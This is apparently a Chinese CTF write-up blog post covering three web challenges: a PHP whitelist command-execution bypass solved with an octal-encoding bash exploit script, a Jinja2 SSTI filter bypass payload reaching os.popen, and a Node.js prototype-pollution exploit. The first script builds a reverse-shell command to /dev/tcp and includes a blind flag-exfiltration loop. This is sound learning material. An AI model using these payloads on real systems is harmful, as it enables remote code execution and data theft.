之前报了名,但是没时间打(有时间也是被打),现在补上。。。
官方WriteUp
题目地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>
|
需要使用括号内的字符命令执行,参考文章34c3 CTF minbashmaxfun writeup。分析啥的官方wp简直是保姆级,太贴心了。
贴一下exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f = ''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False
# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))
#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)
|
这题目给的有问题啊,源码开放端口错了,Dockerfile里一些文件也缺了(source文件应该没什么东西吧)。
主页面回显try to check /test?url=xxx
,直接传{{}}
,被ban了,尝试{%%}
,出现调试界面,泄露了部分源码
1
2
3
4
5
6
|
return '<h1>do a real p1g</h1>'
url = request.args.get('url')
for black in black_list:
if black in url:
return '<h1>do a real p1g</h1>'
return render_template_string('<h1>this is your url {}</h1>'.format(url))
|
有黑名单,fuzz一下,ban了较多字符,如\{\{ | []
等等,没事,我们有控制结构,然后emmm不会了。
官方payload:
1
2
|
# __globals__|__getitem__
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("whoami")|attr("read")()%}
|
分析一下payload:
在官方文档中描述了两种分隔符的区别:
这里有两种分隔符: {%%} 和 {{}}。
前者用于执行诸如 for 循环 或赋值的语句,后者把表达式的结果打印到模板上。
在本地尝试的时候发现没有print就会报出jinja2.exceptions.TemplateSyntaxError: tag name expected的错误,也就是控制结构需要一个可以运行的函数(猜测),如if、for、print,但是什么函数可以执行我不清楚hh。。。可以肯定的是,print可以执行,并且可以让控制结构拥有输出结果的能力。
lipsum是jinja2的内置全局变量,jinja2一共有3个内置的全局函数:range、lipsum、dict
,其中只有lipsum有__globals__
键,其他两个要逃肯定逃得出来,但是payload构造就要花点功夫了,比如0RAYS-安洵杯writeup使用普通变量构造的payload。除此之外,flask也提供了两个内置的全局函数:url_for、get_flashed_messages
,两个都有__globals__
键,但是这里ban掉了_
,所以要用内置函数只能用lipsum了。
attr过滤器就不用多讲了,bypass常客了。
hint1: express-validator: 6.6.0 lodash: 4.17.16
类似考点之前在XNUCA遇到过,不过由于完全不会所以直接没有去看wp,没想到又遇到了。。。
扫目录扫到/app.js
和/package.json
,直接访问获取源码和依赖信息:
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
let info = []
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]
app.use(middlewares)
readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}
app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})
app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})
app.use(express_static("./"))
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
|
定位回显flag的代码
1
2
3
4
5
6
7
8
9
10
11
|
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
|
回显flag条件:
- password == "D0g3_Yes!!!"
- info.system_open == "yes"
污染的原理跟一遍官方wp就差不多明白了(其实还是不明白)
exp
1
2
3
4
5
6
7
8
|
import requests as req
target = 'http://IP/login'
data = {
'password': "D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "no"
}
res = req.post(url=target, json=data)
print(res.text)
|